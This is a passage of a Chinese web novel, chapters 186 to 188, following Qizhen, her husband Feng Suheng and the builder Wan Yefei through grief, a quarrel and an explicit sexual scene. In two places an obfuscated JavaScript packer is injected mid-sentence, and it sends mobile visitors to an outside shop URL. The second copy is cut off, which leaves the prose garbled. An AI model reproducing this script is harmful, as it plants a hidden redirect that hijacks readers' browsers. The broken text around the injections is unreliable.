如果是栖真,去神明大宫时英勇的表现,以连环计诱敌的过程就一点都不突兀。 如果是栖真,那么诱惑他、拒绝他、拿捏他,根本不在话下。 如果是栖真……那么,一切都对了! 面对这样一个把他耍得团团转的女子,面对这样一个杀父仇人,他是不是该恨意滔天? 是的,他当然恨!怎能不恨?不恨,就是有悖伦常;不恨,就是对不起父皇,对不起真正的沈兰珍。 他必须恨!恨她的欺骗,恨她的屠戮,即便她说自己是迫不得已。 即便他站在她的立场想一遍,会发现栖真说的其实没错,她确实什么事都没做错。 可怎么办呢?他就是,必须要,恨她的啊。 但最让他心绪难平的是,栖真说她来自未来。 未来! 这代表什么?已经八个月了,他还不知道这代表什么吗? 这代表栖真身具远高于中土的眼界和学识,代表这个世界将因为有她而发生天翻地覆的改变,代表她影响所及处,所有的人和事都将受之教化。 谁不想窥探天机?谁不想获得神佑?当有这样一个机会摆在面前,没有一个凡人能够拒绝。 就像风宿恒说的,她是“神星降世”。 对这种人,任何王者都心痒难搔,绝不可能放过,要么灭之,要么收归麾下。 容绽终于明白那日栖真昏迷时,风宿恒咬牙切齿说的那句话:“你们坐拥一个宝藏,却只知道毁了她,你们不配!” 所以得知真相后,他要怎么办呢? 明明几日前下山时他还在说:“八个月不过弹指一瞬,我时常觉得我们应该认识不止这点时间。” 明明还在感叹:“没想到这山头能有那么多奇迹。” 明明想好了,若这次入大荒流可以突破全尽,他就想办法治眼睛,就去问叔父他是不是还必须守戒律契。 呵呵,谁知人算不如天算。 他该死,他为何偏偏这个时候下山?若没下山,他必能护住栖真,绝不让人动她一根寒毛;若没有下山,叔父就不会死,常璐就不会死;若没下山…或许他还被蒙在鼓里,根本不必陷入如今两难的窘境。 如今,竟让他怎么办好? 树之为敌他做不到,彻底放下做不到,坦然接受做不到,从此远离更做不到。 真恨自己傻缺、恨与栖真相遇、恨自己身份、恨心头羁绊。可反过来,若让他不恨,让他宽恕,让他接纳,那么他将更恨自己的不恨,恨自己的放下,恨自己的接纳。 太可笑了,真地太可笑,他的人生,为何总像个笑话? 栖真给他做梦的机会,又亲手打碎它。朝夕之间,昨日成烟,命运捉弄,对错难言。 186. 第 186 章 容绽在山下的异样,风宿恒三日后才得知。 但此时此刻走进小屋,见到说出那句“他们不会再留下”的人,他哪管容绽怎样,他快被栖真气死。 就不明白了,不过同意让他们见上一面,怎么又这样了?为何又是一个失魂落魄,一个伤心欲绝? 可是面对哽咽的栖真,他又能说什么?只好暂收不快,坐到床边安抚。 可随着他一遍遍询问,竟然听栖真噙着泪道:“容绽知道了,知道我是沈兰珍。” 风宿恒一窒。 听她说完和容绽的对话,风宿恒起身,一股克制不住的暴怒直直翻涌。 最近在栖真面前克制了太多情绪,但她真地太任性。 雷恒说他想揍她,或许是真的,好几次,他都恨不得揍她一顿。不是暴民那种揍,而是爹爹按住任性的女儿那样打她屁股。 “把事情说出来,别说大容这些人再不可能留在山上,即便他们想留,我也绝不能让他们留了。”风宿恒愤声道:“说的时候,你有没有想过容绽的反应?房里只有你们两个,他若气到发狂,一掌就能结果你,你连一声呼救的机会都没有,你即便要说,也得有我陪在身边时说啊!” 栖真完全没想过这个,可她在风宿恒面前不会承认自己头脑简单了,她委屈地别过眼:“事实证明,他什么都没做。” 还在为容绽说话,她真是无时无刻不在为容绽说话! 风宿恒剑眉倒竖:“你们说的是杀父之仇!杀父之仇你明白吗?和你当初经历的弑子之痛是一样的,想想当初你做了什么?你控制得住自己?容绽想要杀你,你现在还能好端端躺在这里和我说话?” “可他,就是什么都没做。”栖真倔强地强调。 头晕、心乱、沮丧,她真地不想此时和风宿恒纠结这个。 风宿恒却一把擒住她的下巴,把她脸转回来,阴郁道:“你对容绽这种十足的信任到底哪儿来的?你不要无时无刻挥洒自己的善意,不要对人一点不设防,不要看每个人都是好人行吗?” 忽然想起重离。 “人类的历史永远不缺栖真这种烂好人,为一群狗屎奉献自己,一次又一次死于民众的背叛,就因为信奉人性的善良,尊重人性的光辉,所以这种人活该重蹈覆辙,活该承受痛苦。我可以救栖真,但我不会救,我就是要她长点记性。” 只要一想到不久前栖真可能因为自己的不忍,因为轻信,再一次面临危险,风宿恒就觉得重离说得一点没错。 他都想让栖真长点记性! 可现下他能对她怎样呢?做点什么都怕弄疼她!风宿恒十足沉下脸。 他很少用冰到掉渣、完全不近人情的语气和栖真说话,但现在他却用这种语气道:“说出来,便要担负说出来的代价,这辈子我都不会让你见大容这帮人了。” 兴许这句话太武断,抑或那语气太伤人,栖真怒目而视:“你凭什么替我做决定?凭什么这辈子?是,我一点都没想过容绽会害我,事实上他就是没有,如果阿絮,阿月,甚至山遥回山要见我,请、你,请你让他们来见我。若让我知道你横加阻拦,风宿恒,这辈子我都不想见的人,会变成你。” “你!” 实在荒谬!栖真为了这帮人,居然对他说出这种话?他不让他们见,她就不见他? 风宿恒焦躁不已,觉得有些话都不屑启齿,比如在你心中难道容绽比我还重要?再比如你都够惨了,为何还要这般维护他们? 心里越是气到发颤,面上越是冷酷,风宿恒森然重复:“你这辈子,都不想见我?” 真是断章取义,栖真道:“我是说,你不让他们见我,你也别来我面前晃,我不想见你。”这一句,到底气势上弱下来。 怎奈风宿恒盯着她,又强硬地问一遍:“你不想见我?” 栖真吞咽:“对,不见。” 气势又弱一点。 可她想,明明是风宿恒专/制,凭什么要她退?于是喉咙又响,以壮声势:“我现在就不想见你。” 风宿恒:“现在是多久?到午膳前?晚膳前?” 栖真一梗,硬着头皮:“到…明天早上。” 风宿恒点点头,爽快道:“如卿所愿。” 说完,转身走了。 房里终于清静,栖真闭眼,头痛欲裂,任由自己沉下去、沉下去、沉下去…… 沉了一会儿,她抬起胳膊,用手掌边缘敲脑袋。 啊,根本没必要和风宿恒吵的,容绽知道真相,絮回便知道,阿月也知道,所有人都会知道。 他们大概不会来寻仇,但,他们应该这辈子不会再见她了。 就这样了。 那些山上热热闹闹的日子,那些为梦想一起努力的时光……全都结束了。 栖真浑身乏力,明明房中只剩她一个,冷汗却一拨接一拨出。 睡一会儿吧,睡着就不难过了。 醒来都下午了,素青带白芷和桂枝进来换药,问一句:“今日陛下不在?” 栖真不搭腔。 素青之前在大容王面前说话放肆,只因她不谙世事,可来万仞山半月,她终于从山上严明的治军,到所有人面对风宿恒时的恭敬中掂量出分寸。如今对着大容王,她收起天真,有了臣下该有的姿态。 只有见到栖真一人时,才敢本性毕露开句玩笑:“夫人啊,别看木屋造得高,其实声音飘满坳。以前我在药王谷听说天下四雄以大容王为首,现在看来都是瞎说的,夫人才是大容王头上那个雄。” 栖真笑了一笑,没有说话的兴致,待素青她们告退出去,继续沉浸式看书。 这一次看亚里士多德、尼采和帕格森。 亚里士多德说:任何人都会生气——这很简单。但选择正确的对象,把握正确的程度,在正确的时间,出于正确的目的,通过正确的方式生气——却不简单。 尼采说:如果快乐纯粹是内在的感受,既不来自天堂,也不源于地狱,而是铭刻在我们内心深处。要了解、接纳、知道所有打不死你的都会使你变得更强大。如果一个人能够忍受生命加诸他的一切,他就能够过任何生活。 而读到帕格森时,看到那句:“那些听不见音乐的人,都以为那些跳舞的人疯了”,栖真终于微微笑出来。 当下,她又何尝不是沉浸在帕格森提出的“心理时间”中,那是她因阅读而使心灵真正感受到的时间强度,这种强度会替代她因风宿恒的技巧而设下的时间点。 他给她一段“钟表上的时间”,那她便用“心理时间”去破解。 阅读给人带来平静。那一晚,栖真终于暂时得以从现实中脱离,没去想容绽,也没去想风宿恒。 现实可以把她打入沉郁的海,阅读却邀她遨游知识的洋。 读到累极,便自然睡去。 …… 风宿恒还挺守诺。 隔日栖真用完早膳,他就回来。 白芷和桂枝帮栖真净了面,端着托盘出去。风宿恒在床边坐下,透着浅笑,问:“今日想见我吗?” 栖真用小指碰他撑在床上的掌,温声道:“昨晚丑时,半日花开了。” 风宿恒含情脉脉吻她手背:“该在身边,与卿共赏。” 桌上的半日花是开了,花未开前根茎垂落,甩头塌脑,一旦盛开,花茎笔挺,充满活力。 风宿恒回头瞅一眼花,对栖真道:“真挺。” 栖真拇指摸索他手心,像在挠痒,也像交握:“看到我……就挺了。” 每日名贵药材不要银子似地补,栖真唇色终于不再浮白,此刻眨着大眼看他,显得特别无辜。可这人最坏了,吵起架来喉咙比他还响,风宿恒溢出低笑,轻刮她面颊:“谁看到你不挺呢?” 栖真嘟嘴,像在抗议,也像邀吻。 风宿恒就吻了。 她即便不邀,他也不想她拒绝。风宿恒一手插入栖真后颈,覆上她的唇,唇上犹有参汤的余味,但风宿恒觉得她早膳一定尝了蜜,让人吻得痴迷,吻到神醉。 难受整晚,催风宿恒再次看明白自己的心——他哪儿都不想去,只想回到栖真身边,只有回到她身边,一切才对,过去见她一面是心动,如今在她身边才心安。 栖真在他火热的纠缠下,竟然含羞道:“阿畅……想不想要?” 都什么时候了,她竟然还要勾引,风宿恒停下,探究般对上她的眼:“勾我呢?” 栖真不好意思地笑。 “勾,尽管勾,等你好了,绑起来,嘴塞上。”风宿恒摸她肚子,揉了揉,只管荤言荤语:“这里一按,出来的都是你喜欢的东西。” “什么东西?”如此近的距离,荤话都失了羞怯的外衣,在两人嘴间你来我往。 风宿恒勾人也是把好手:“你说什么东西?” “谁知道呢。”栖真移开眼:“以前你又不放在里面。” “放……?”风宿恒失笑,保证道:“以后只‘放’在里面。” 和这人比脸皮厚,谁能赢? 大容时风宿恒冷淡、禁欲、瞥她一眼都是恩赐,如今变成这幅德行,荤话连篇、身体力行。 栖真记性好,记得自己说过会努力,虽遭逢厄难,心境白云苍狗,但昨日不是把人气走?夫妻没有隔夜仇,小吵怡情,哄是王道,道歉都嫌多余,索性撤了门禁,大胆道:“阿畅,喜欢你对我这样。” 风宿恒哦了一声:“怎样?” “说……嗯……这些。” 风宿恒埋首栖真颈间,得益于药王谷神奇的化瘀膏和一日三次不间断的涂抹,她脖间淤青终于散去,他戏弄般将热气喷在肌肤:“我也喜欢说给你听,更喜欢……” 话就停这儿了。 再说下去,今日正事不要办了。 已是金秋十月,房中还置着降温的冰,栖真养伤期间穿得单薄。风宿恒从新置的柜中取出纱衣,小心翼翼给她套上,又用梳子避开晾晒的伤口,将她头上翘起的碎发梳平:“带了个人来,你见见。” 栖真瞧他郑重,也是好奇。 风宿恒像要给人惊喜,摆弄完,捏捏她下巴:“好好发挥你的才智。”说着走出去。 过了挺久,就见他带人进门。 “栖真!” 一听那声,栖真又惊又喜。 淡眉、桃花眼、眼神清如柳波……栖真一眼望去,不得不在心中惊叹,造物主真不公平,美成这样,到底得了多少偏爱? 来人竟是她在南城留书告别,近一年不见的万叶飞。 过去万叶飞绸衣素锻,腰间琳琅玉佩,全然公子哥儿的俊贵模样。如今换了麻衣,绑着臂缚,像刚从田间地头过来,气色却极好,精神头十足,比在开物阁时少了几丝脂粉味,多了不少阳刚气。 万叶飞见栖真躺着,身上夹板刺目,不由面色一变:“听闻你重伤,我还不信,谁人伤你至此?” “流年不利,看着你来,什么伤都好了。”栖真颇有“有朋自远方来”的兴奋:“叶飞怎会到此?” “大容王下旨谴我来的。”万叶飞气道:“栖真真是没良心,都不当面告别一声吗?害我魂萦梦牵一整年。” 栖真瞅了眼在桌边相陪、早已变回阿畅的风宿恒:“家宠失态,毁了你的院子,让人无颜相见,才不得不留书一封,想来叶飞不会怪罪。对了,你那院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699597|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可修缮好了?” 万叶飞道:“你走后大容王着人为我脱了贱籍,如今早已不做那郞阁生意,开物阁也盘出去了。” 这一桩风宿恒在“遗书”里提过,今日见着了,栖真总要装着问一问:“叶飞之前和大容王有渊源?” “怎么可能。”万叶飞道:“这也是桩怪事,也不知他何处得知我擅工造,派人来道只要我愿去大容担任善巧监事,便为我脱贱籍。” “善巧监事?” “大容官职,专司营造和工研。” “这大容王倒也慧眼识英才。”栖真笑道:“叶飞如今摇身一变,都是当官的了。” “什么官不官的,不过冲着能脱贱籍和能钻研心头好才搬去大容罢了。”万叶飞道:“适才上山时听这位阿畅兄说此山主人叫栖真,我还不敢置信,没想进来一看真的是你,可你怎会在此?大容王又为何要为你营造宫室?” 栖真见风宿恒噙着笑看她,不自在地咳了咳:“阿畅,你先出去,我和好友叙叙旧。” 谁知风宿恒抬手给万叶飞倒了杯茶:“小的可不敢违背陛下之命,小姐身弱,还得有人在此伺候。” 反正一句话,我不出去。 栖真对他微微瞪眼,转而对万叶飞道:“这事说来话长。” “当日相见,叶飞问我可是来自大容,那时我一逃亡身,原不想让人知我来处,是以没说完整,还请见谅,其实我是付春人。” 当下将风宿恒为她编的“付春背景”道了一遍,当然还有大容王如何迫害府上,她如何东躲西藏躲避抓捕,最后又被大容王堵在山上。 听得万叶飞怒目圆瞪,若非碍于旁边还坐着个身份不明的男人,只怕就要暴起大骂。 栖真赶忙圆场:“叶飞休怒,如今我在山上,倒并非全被他软禁,不过以可能宫名义与他合作而已。” “合作?” “对,他图我爹爹智慧,想我贡献心力,而我所图,不过是将家父心血发扬光大。过去不甘与狼共舞,自是天涯海角能逃多远逃多远。如今都这样了,不妨抛开仇恨,借他力做我爹所求事。世上报仇法千千万,我就是要花他银子,借他势力,为家父完成心愿。” “可就由他这般囚着你?”万叶飞义愤填膺:“我自入职来,听同僚说,听百姓言,一直感佩大容王是位明君,谁知背后这么不是东西。” 万叶飞是长袖善舞之人,如今做了大容属臣,本该谨守本分,不该如此口无遮拦,可他给栖真的都是真性情,见她重伤已是不岔,如今听她说道大容王,即便不该,都忍不住心火要骂上几句。 “这些年四处流浪我也倦了,如今明面上是他囚着我,其实只因我想安定下来。爹爹所留甚多,我想要处安定居所,好生钻研,探寻发扬光大之法。” 万叶飞问:“你适才说以可能宫名义和他合作,可能宫是……?” “我与同伴闲时瞎诌的。” 栖真说到这里,未免又起惆怅。有阿絮他们才有可能宫,如今剩她一个,可能宫这称谓还有什么意义? 若风宿恒真不让见……想到这里,对自家男人又有点气,栖真嘴里就没好话:“大容王太可恶,一上山便毁我住所,现下要你来,估计是要赔我一处,他可有说要怎么建?” “圣旨言全山利用、遵循宫制。” 就是说要照皇宫规格建造。 “即是给我住,我总能发表点意见。”栖真沉吟:“可受伤来,我确实没心力想这些。不知叶飞能容我时日想想?” “不急。”万叶飞道:“我要勘探山头,钻研一番,适才上山见山顶还有废墟,要着人清理,这些都需时日,你慢慢想便是。” 万叶飞水平不知比祁南英高多少,思路清晰,条分缕析。之后又说了些在山头建造要顾忌的方面,又道自从利用官窖,他已将明璃提纯,若在山头起个火窖,说不定可以直接将之用在房舍上。 这么一说栖真也兴奋,两人就从玻璃说到排污,从排污说到防风,从防风说到避暑。 栖真问他如何测量,他全数回以数学之道,和祁南英那种“凭经验造”全然不是一个层次。两人碰在一起,滔滔不绝,一路说到午膳时分。 最后还是阿畅打断:“要不今日先到这里,小姐毕竟身伤,还需好好休养。” 万叶飞不是不体谅栖真要养伤,数次想让她歇,都被她引出新话题,这才说得停不下来。如今听人下逐客令,忙道:“确实,我暂住山头,以后每日叨唠你,有的是时间,你快把伤养好才是真。” 于是告辞出去,自有人引他毡帐安顿。 栖真兴奋一上午,说多了胸骨发胀,头又晕,没什么胃口,少许吃了些便睡去。 风宿恒今日都陪着她,趁人睡时,也在琢磨这住所到底怎么造。 如今不用顾虑大容那帮人,他恨不得桂殿寰宫,怎么华美怎么来,但重要的还得栖真喜欢,听她和万叶飞言,于建造也有造诣,主意多得很,得顾着她的意见才行。 但无论如何,原本那种贫屋,再不允许出现山头了。 许是上午累着,栖真睡醒可以直接晚膳了。被风宿恒哄着喝了碗用料满满的山芝骨胶汤,吃了些鱼肉。她耽着心事,任风宿恒打水,帮她把身体擦拭一遍上床来陪才回神。 “万叶飞自从入主善巧司,倒也做出几件大事,以前是美玉蒙尘了。”风宿恒闲聊道:“不过当初是你发觉他才干,否则凭他自己,此生就在郞阁小打小闹,聊以□□罢了。” 栖真道:“那是大容王不计前嫌,惜才爱才,肯给他机会。” 风宿恒食指卷起她一缕发:“大容王和他有何前嫌?真真说哪个呢?” 187. 第 187 章 “大容王自然没有,夫君阿畅却有。”栖真道:“这才坐着不肯走。” 风宿恒好笑:“坐着都听你们不是东西、丧心病狂地骂,不坐着,还不知把我咒成什么样。” 栖真嘤嘤半天:“阿畅生气啦?” “明日帮你沐发。”风宿恒道:“别人骂又怎的,可偏生听你骂,我就觉得……” 轻轻扯她头发,顺着发丝,把自己扯到她面前:“那么带劲呢。” “还洗,快洗秃噜了。” 自从脑袋伤口结痂,风宿恒就喜欢帮她洗头,拿个盆凑着洗,温水里一缕缕地顺,每次都做得比她这个躺着的人还沉醉。 这段时日来,有些瞬间看着风宿恒的眼,她都不确定他在想什么,比如帮她洗头时,比如此刻,他的眸里是烛火流光都托不起的黑,倒像被欲望浇灌着。 栖真想,时下情景,他还想怎样? 正因为知道他不能怎样,栖真说话就不太顾忌,含着笑问:“怎么带劲?” “就想对你做点,让你再也骂不出来的事。”风宿恒不知是憋久了,还是憋坏了,说得流畅:“不愿与狼共舞?由得你。” 栖真脸涨成猪肝色:“别说了。” “白日不是说喜欢吗?几句便受不了了?”风宿恒面上沉沉:“真真,你开了这扇门,我就不在门后遮遮掩掩,我想对你说的、对你做的,怕你承受不住,可你是我的女人,我不对你说对谁说?这些事我不对你做,对谁做?” 风宿恒的手在栖真下腹流连,大掌贴上肚腹时,心中一阵神伤。 骨头断了能长好,可这里呢?遭受暴力的赤豉和躁石要怎么复原?无法带她下山用疗愈术,而药王谷又对此束手无策…… 栖真说过喜欢孩子,她一直想要孩子,她一直想要和他有孩子,可如今…… 风宿恒今晚有点异样,尤其这一刻,那种让人琢磨不透的感觉又浮上来。 栖真想摸摸他的脸,可指上绑着竹板子不能动,只好由他摸:“怎么了?不开心?” 风宿恒手探下去:“在这里,怎会不开心。” 栖真咬牙:“阿畅~~~~” 对视间,栖真觉得风宿恒眼里耽着好多话,有浓重的悲伤掩在深沉的欲/望后。 最近遭受太多折磨,在他身上的心思好像也少了,这是正常的,但这刻栖真却觉得不应该。她忽然想起来,自昏迷中醒来,她见到的风宿恒大多时候是温柔的、轻声细语的,每日床前床后无微不至地照顾。当然也会生气,可基本都克制着,最多被她气跑,调适好再回来。 可他总有真实的情绪,那些情绪他去哪里释放了呢?真实的想法又去何处倾诉呢? 她楞楞地看着面前人,想到若是风宿恒被人这般重伤,她会怎样。 只怕铺天盖地的仇恨会堵塞她的耳目,让她痛到撕心裂肺,像当初杀嘉和帝那样,恨不得屠尽凶手而后快,可即便这样,心中黑暗的情绪都无法消解,在他养好伤前,她不会允许任何人靠近,会像母鸡护小鸡那样,将每个企图伤害她宝贝的人啄到体无完肤。 那风宿恒呢? 想想之前在金池汤遇到那个叫邱慕白的登徒子时他的狂怒和报复,及之后为了护她,夜夜忍受荆之誓言的痛也要布下结界的固执…… 所以他俩是一样的,他们为了对方,根本是一样的。 可是这次自她醒来,有看到他的狂怒吗?有看到他的报复吗?有看到他的固执吗? 铲平房子就算报复了?不让她见容绽他们就算固执了?根本都算不上好吗! 后来她才知道,即便是在她面前被抹了脖子的阿陶都没死,连直接对她抡板砖的阿陶,风宿恒都留了他一命。 是风宿恒不想报仇? 他权势滔天,铡刀落下不过一句话,可他宁愿控制自己,用隐忍交换余地——为她留的余地——要杀要剐,要和要好,让她自己决定的余地。 那风宿恒所有负面的、黑暗的情绪又要怎么消解呢?每日看着躺在床上全身不遂的爱侣,他又是什么心情呢?在目不及处,风宿恒是不是也承受着被暴虐的情绪啃噬到体无完肤的痛呢? 所谓伴侣,即为一体,她伤,他也伤。她遍体鳞伤时还有风宿恒陪伴,那风宿恒的心伤又有谁为之疗愈呢? 所以他在她面前骚话连篇,即便新婚那段日子都不曾这样,或许这个对风宿恒来说,就是“可允许范围内”的自我排解。 栖真黯然,如果自己的身体能给他带来安慰,一定要给他…… 所以当风宿恒的手往下探时,她没有阻止。 ………… 风宿恒很快把手抽出来。 情/欲如潮,来时铺天,可把栖真惹得难受又什么都不能做,何必呢? 他往旁边一躺,瞪着木屋顶上的梁柱,觉得自己是个废物。那是无理可讲的强烈沮丧,是从没在他身上出现过的自我厌弃。 这种沮丧和厌弃由被栖真气了一晚的难受、看她被万叶飞带出兴奋时的嫉妒、撩拨后又什么都不能做的郁闷融合而成,再加这段时日来胸腔中随时要爆发的压抑,风宿恒躺在那里,都不知要怎么办好了。 没关系,就这样吧。 什么都别说,什么都别做,就躺着。 躺到栖真睡着,他可以走开,去大荒流,去三峰溪,去任何一个能消解沮丧和郁闷的地方。 然后在天亮前神不知鬼不觉地回来,回到爱人身边,平静地等她醒来,再平静地度过一天。 一天又一天,伤总有养好时。而他的难受,随着栖真的痊愈,也总有消解时。 除了雷恒,没人会知道他这段日子怎么过的,没人会知道他心里到底埋了多少可怕的想法和情绪。 那些东西本不该见天日,让雷恒知道都不应该,那些东西,只适合独自排解。 “睡吧。” 风宿恒放缓呼吸,准备闭眼,就听身边人唤:“宿恒。” “嗯?” “累不累?” 每次栖真想和他说说话,就会问他累不累,风宿恒的回答永远是不累。 现下,他也是这般答。 可栖真只是瞅着他。 风宿恒起身:“想说说话?” 知道她睡了一下午,此刻大概睡不着,可她点完头又没声音。 风宿恒用手盖上栖真的眼,玩儿似的,掌往下一拖,露出来时,她还是睁着大眼看他。 倏忽想起万叶飞第一次见栖真时说的话。 “秋水明眸,笑意含情,怎担不得一句‘剪剪秋水之瞳’了?” 他自是不屑去听万叶飞吹捧,可这句‘剪剪秋水之瞳’,确实说到他心坎里去。 凭这样一双纯正无暇的美目,世上竟有人舍得伤她?那些人眼瞎? 风宿恒独自肖想,就听栖真道:“你过去,我是说,没遇到我之前,你想要的时候是怎么做的?” 风宿恒:“……” 莫非栖真又在瞎想,以为他“初吻不是初吻”了?风宿恒自要澄清:“什么都没做,和你就是第一次。” “我不是说上床。”栖真道:“我是说,你之前一直会梦到我,也会想要吧,那时你是怎么、怎么……?” 风宿恒撸她一小块无伤的脑门,像撸着摇尾的小犬:“反正不是找人。” 房中只燃小烛,光线暗,脸红就不那么明显,栖真大着胆子问:“自己解决?” 风宿恒:“否则呢?” 栖真像个好奇宝宝:“多吗?” 风宿恒:“……” 哪个多? 于是两个都答:“次数不多,出来的很多。” 栖真:“……” “我们在一起后,还会吗?” 风宿恒觉得没必要不说实话:“会。” 这问题触及委屈处,可风宿恒不希望小孩儿乱想,于是补了一句:“很少,你不在身边时才会。” 八九个月,他绝大部分时间都在山头,就那么几天缺席,栖真以为他说的是那几晚。 栖真问:“昨晚呢?” 风宿恒撸毛的手停了,他被这个问题刺了一下,甚至有些被冒犯到。 我被你气了一日一夜,你问我有没有自渎? 可因为是栖真在问,风宿恒便压下难受,轻描淡写道:“昨晚没想。” 他撑额看她,高大的阴影投下来,她像他山影里的屋,窝里的崽,可这没心没肺的小崽子就是不要命地拨弄他:“那你现在想不想?” 风宿恒恨不得倒头睡死,或夺门而出,管杀不管埋很诛心喂。 但他什么都没做,仍然支额看她,实诚道:“想。” 想看她接下去怎么圆,问想不想,然后呢?你打算怎么给? 就听身边人期期艾艾道:“过来点。” 风宿恒以为她要索吻,于是俯首,栖真却羞怯道:“耳朵过来。” 然后在他耳边轻声:“我可以……” 后面两字太羞人,被对方耳朵撅住都不好意思。 风宿恒眼中闪过惊讶,没想到栖真会主动提议。 毕竟成婚来,鸳鸯帐中向来是他俯首甘为孺子牛,心甘情愿伺候她。有些姿势风宿恒不是不懂,是男人都懂,但他不想委屈自己的妻,不想她有一丝一毫勉强,可今晚,他女人却破天荒做出这般提议,不为自己,而是为他。 风宿恒难得哭笑不得,甚至微愠:“我是说过等我回来再前一步,但我没这个意思。” 栖真:“……” 她夫君是在变相拒绝她的邀请? 踌躇好久才鼓起勇气说出口,手心都紧张到湿漉,现在怎么办,打退堂鼓,还是继续? 风宿恒说的往前一步,确实不是想她这样,但他们说好的,以后在欢爱一事上别瞎猜,别自伤,想要的说出来,道出自己的想法和感觉。 对栖真来说,爱风宿恒,又有什么不能为他做的? “师父~~”栖真把心一横,魅惑道:“真地不要?” 小妖精,真被她磨死了。“师父”两字就是天底下最好的催/情药,风宿恒哪次不乖乖投降?他浑身发热,像情窦初开的少年,叫道:“要!” 床就那么大,栖真躺着不能动,想要施为并不容易,可风宿恒一旦行动起来,还有什么困难难得倒他? 轻手轻脚把人挪动少许,躺到床的侧对线上,往下移动数寸,这便腾出了地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707416|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 久违的活力回笼了,他兴奋地看着准备就绪的爱人,她伤都没好,怎就如此想要? “真真,真真。”风宿恒带着感激去迎接新奇,双唇一对,就是狂亲:“真要这样吗?” 栖真被他亲到兴奋,竟觉得浑身的伤都不存在了,她又是健健康康一个人,只在亲吻间隙怨怼般漏出一句:“话真多。” 风宿恒就不再废话了。 栖真嘴小,下唇饱满,这么做时他脑中甚至闪过一个念头,这么小的嘴,怎么可能容得下他? “能不能”的疑问像星火燎原,把风宿恒彻底点燃。 跨过时有些手足无措,但他装得很好,不会让栖真看出来,动作循着小心,生怕下面人不适应。 栖真确实不适应,尤其身处如此被动的状况。 可她就想疼疼他,所以闭眼放松。很快,当她不再执着于“我”,便听见她男人的声音,开始时是一两下轻微的抽痛,她知道是自己不小心,于是更加当心。 很快类似的声音就没有了,取而代之细碎的喘息。 那应该是舒服的叹息。 风宿恒的反应极大鼓舞她,过去他的声音总是和她的叠加,今日却发觉这男人让她爽的方式不止一种。 于是栖真做出更多尝试。 她知道自己笨拙,没法让人十分满意,但万事总有第一次,只要有心也能发挥神奇的魔力。 初始的适应后,第二次风宿恒命令栖真睁开眼,和她泛着水光的视线纠缠。风宿恒不想错过任何一个她努力的表情。他们相爱,风宿恒要栖真看着自己在她慷慨的馈赠下如何展示感激。 他知道自己对栖真来说太累了,所以在那些美妙到战栗的瞬间他还想到让人休息。 第三次更放开,和以往全然不同,是横冲直撞,是强硬镇压,男人天生想要掌控的感觉得到极大满足。 栖真给了太多,最后出来时风宿恒连要排解什么都忘了。 不是说想到爱人的遭遇他就不痛苦了,不是说对凶手的所作所为就不憎恶了,但此刻,风宿恒觉得自己又成了磨利的刃,什么深埋心底的险恶情绪都不是个事。他是娴熟的渔民,一网下去把狂暴的情绪全捞起来,扔船上带走。 生活里的失控感彻底消失,罪恶被排除在外,清明和繁荣已然回归,他又能看清未来,看清他和栖真的前路。 而重获这些感觉,只不过是因为栖真给他开放的一个动作里,让他百分百掌控她。 事后他们一遍又一遍地接吻,栖真问:“舒服吗?” 风宿恒蹭着她,像在讨糖,不知餍足:“还想要。” 栖真下颌骨又酸又胀,可就想宠着他。 “那再来。” 风宿恒对她没辙,轻声哀嚎:“真真,真地别再勾我了,我很满足了。” “你不是想要?”栖真道:“其实不想吗?” “怕你累。”风宿恒道:“哪里不舒服吗?适才有压疼吗?” 栖真闭嘴鼓气,把腮帮鼓足,来回几下缓解酸痛,又在他耳边出坏主意:“这次先那个一下?” 话音刚落,风宿恒又兴奋了。 栖真往下一瞥,即便早知他能力,仍觉惊诧:“男人感觉来的都这么快吗?” 这让风宿恒怎么答呢? 不知别的男人怎样,也没办法从别的女人嘴里了解到别的男人怎样。 风宿恒口干舌燥:“你夫君就这样。” 栖真道:“别自己充气,我来试试。” 充气? “骚不骚?”风宿恒一捏栖真脸皮,生生把她捏疼:“充什么气。” 栖真不敢置信地瞪他,不知为他一时下手没轻重,还是为这句“骚不骚”。 他居然说她骚? 我特么…还挺高兴? “什么叫‘骚’?”栖真不耻下问,生怕风宿恒误会,还特意点明:“中土人说的‘骚’是什么意思?” 中土人士风宿恒:“……” 怎会脱口这么烟视媚行的字眼,他自己都没搞清,大概真被栖真那个“充气”的说法激得心痒难搔。 对上她好奇的目光,风宿恒伸到她嘴边:“长风欺其永日,拂淫/水之骚骚的意思。” 他忽然拽文,栖真只能愣愣对他看,可风宿恒居然用那个拍了拍她脸:“听明白了吗?” 栖真给一个让他自己体会的眼神:“我们那里有句话也是同个意思。” “什么话?” “fuke!” 她学着风宿恒适才的语气:“听明白了吗?” 风宿恒:“……” 事后栖真总结:中土话里的“骚”应该和现代没有太大差别,都是用来形容她和她男人在床上越来越不像话的某种状态。其实这个字也没什么,不过是在描述男人和女人在这件事上经过反复操练、反复突破后必然导致的结果。 像山体滑坡,挡都挡不住。 一如他们这晚的共同经历,第二次就比第一次骚一点,第八次远比前七次骚很多。 床上骚断腿,隔日不要嘴。 第二日栖真清心寡欲,风宿恒在一边劝食,她都吃得艰难,头没洗完就困得睡死过去。 188. 第 188 章 风宿恒接到通传,说容绽想再上山见栖真一面时很意外。 这份上了,还要见? 见了又如何?上次没来得及报的仇,这次报吗? 